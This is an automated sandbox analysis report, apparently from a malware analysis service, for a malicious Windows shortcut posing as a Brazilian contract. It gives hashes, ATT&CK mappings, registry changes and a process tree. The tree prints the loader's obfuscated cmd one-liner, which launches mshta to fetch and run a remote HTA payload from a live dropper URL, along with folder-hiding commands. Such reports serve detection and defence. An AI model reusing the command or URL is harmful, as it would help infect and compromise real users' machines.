35845eb2f84b4f0f13453c63ee43c863b45bf0fa9844d4ea22930b9c0888aec7

General

Target
Contrato_Indeniza_Brasil-BEOOJI.lnk
Size 1KB
Sample260803-pxmapahf49
SHA256 35845eb2f84b4f0f13453c63ee43c863b45bf0fa9844d4ea22930b9c0888aec7
MD5 83da3ffa194d6de0e8d044a3bb25ccc9
SHA1 bd5067eec2efedf403cbd3b2ca8a7fb57d9a47f2
SHA512 694cdccc18e7e075d972602063924b186949f6ad0a93ec530643e44bcc2dfb57bc70c88999d9d3df483451c89bf3fd5cb2ac3d39884e3077960c6fc474849186
TLSH
T1253197503AFD0614F3F38F7785BBAB2099BBF9968E20C60D4090464C1076A00E17AF77
MD5 SHA1 SHA512 TLSH

Score

10^/10

adware defense_evasion discovery execution persistence ransomware spyware

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper
https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D

Signatures

Badlisted process makes network request 10 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
6	2416	mshta.exe
8	2416	mshta.exe
11	2416	mshta.exe
23	2416	mshta.exe
25	2416	mshta.exe
47	2416	mshta.exe
49	2416	mshta.exe
66	2416	mshta.exe
67	2416	mshta.exe
69	2416	mshta.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\Control Panel\International\Geo\Nation	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 3 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4268	cmd.exe
4448	cmd.exe
4224	cmd.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
4268	cmd.exe
2956	PING.EXE

Modifies Internet Explorer settings 1 TTPs 8 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	rundll32.exe

Modifies registry class 20 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Local Settings\MuiCache	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content\CacheLimit = "51200"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies\CacheVersion = "1"	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies\CacheLimit = "1"	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History\CachePrefix = "Visited:"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Extensible Cache	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content\CachePrefix	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content\CacheVersion = "1"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History\CacheVersion = "1"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Local Settings\MuiCache	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content\CachePrefix	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History\CachePrefix = "Visited:"	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History\CacheLimit = "1"	rundll32.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2956	PING.EXE

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	67	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious use of FindShellTrayWindow 4 IoCs

pid	Process
2512	rundll32.exe
784	rundll32.exe
2576	rundll32.exe
1240	rundll32.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 4448 wrote to memory of 4224	4448	cmd.exe	87
PID 4224 wrote to memory of 2416	4224	cmd.exe	88
PID 2416 wrote to memory of 2512	2416	mshta.exe	103
PID 2416 wrote to memory of 784	2416	mshta.exe	104
PID 784 wrote to memory of 2432	784	rundll32.exe	105
PID 2512 wrote to memory of 5056	2512	rundll32.exe	120
PID 2416 wrote to memory of 2576	2416	mshta.exe	107
PID 2416 wrote to memory of 1240	2416	mshta.exe	108
PID 2416 wrote to memory of 4028	2416	mshta.exe	109

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
4028	attrib.exe

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Contrato_Indeniza_Brasil-BEOOJI.lnk
1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4448
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /V:on /C "set XV=msh&&set Qawb=ta&&start "" !XV!!Qawb! https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4224
- - C:\Windows\System32\mshta.exe
    mshta https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D
    3⤵
    - Badlisted process makes network request
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:2416
  - - C:\Windows\System32\rundll32.exe
      "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of FindShellTrayWindow
      Suspicious use of WriteProcessMemory
      PID:2512
    - - C:\Windows\system32\rundll32.exe
        
        C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
        5⤵
        Modifies registry class
        
        PID:5056
  - - C:\Windows\System32\rundll32.exe
      "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of FindShellTrayWindow
      Suspicious use of WriteProcessMemory
      PID:784
    - - C:\Windows\system32\rundll32.exe
        
        C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
        5⤵
        Modifies registry class
        
        PID:2432
  - - C:\Windows\System32\rundll32.exe
      "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of FindShellTrayWindow
      PID:2576
    - - C:\Windows\system32\rundll32.exe
        
        C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
        5⤵
        
        PID:5084
  - - C:\Windows\System32\rundll32.exe
      "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of FindShellTrayWindow
      PID:1240
    - - C:\Windows\system32\rundll32.exe
        
        C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
        5⤵
        
        PID:3108
  - - C:\Windows\System32\attrib.exe
      "C:\Windows\System32\attrib.exe" +h +s "C:\yfjwkppi\"
      4⤵
      Views/modifies file attributes
      PID:4028
  - - C:\Windows\System32\rundll32.exe
      "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
      4⤵
      PID:752
    - - C:\Windows\system32\rundll32.exe
        
        C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
        5⤵
        
        PID:2244
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c ping -n 300 -w 1000 127.0.0.1 >nul
      4⤵
      Executes a command shell one-liner
      System Network Configuration Discovery: Internet Connection Discovery
      PID:4268
    - - C:\Windows\System32\PING.EXE
        
        ping -n 300 -w 1000 127.0.0.1
        5⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:2956

C:\Windows\system32\BackgroundTransferHost.exe
"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1
1⤵
PID:5056

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

Windows Command Shell

1

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

1

T1564

Hidden Files and Directories

Modify Registry

Credential Access

Discovery

Query Registry

2

T1012

Remote System Discovery

1

T1018

System Information Discovery

2

T1082

System Network Configuration Discovery

1

T1016

Internet Connection Discovery

1

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

a2.zip

Path C:\yfjwkppi\a2.zip
Size 1.3MB
SHA256 0243304428945ff22fbdce2990694c09ec0bf8b48ffc0e0e83dc27e7c211a04f
MD5 ae415bb3f66035e9285c7faf0e09aeb9
SHA1 64db787667016e2d85f2d8fd641988b5821b5089
SHA512 90bda4079e51b73ef45b54346b20151dc7420ba65b9041b1a9202b6c87fa5b594240b585e4892c2c30103e44c5e6a3fb5f0ea78f200f6b125653a335f6743a03
SSDEEP 24576:YAuYNwua6NduNqjRt1pSdu4E0mcKptG6lgVT0kQkmSp9QpDH1tMlyam:YAuSw7Ku4xpSd7m7BlgVQmvQJH1tX
TLSH
T19C553355B7EDDF14E07D52A1C9C14ED42EE304ADBFE8CC081AC84788D5D236DA948EBA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

a3.zip

Path C:\yfjwkppi\a3.zip
Size 2KB
SHA256 8b79ac0d29573c46fdae803b15fd1a9610162365e11f07e2e5d2b810b4928b0d
MD5 39055539b233f0ae95eb4f910217582b
SHA1 2b18c09ba24f2495f6a25e6312f58295a9bf4570
SHA512 6d1192a11e01eb4898c3fc49083460408dae9f34693880100de328f91dd7cded5f94afb3ca65699d6fe009a20970e3e1c9d888979a4c91f2593a0a884b5c3785
TLSH
T1AB413AF88D6CBDA1E68E79749E24587099372EC499C471781FBEEC442230298CB2E42C
MD5 SHA1 SHA512 TLSH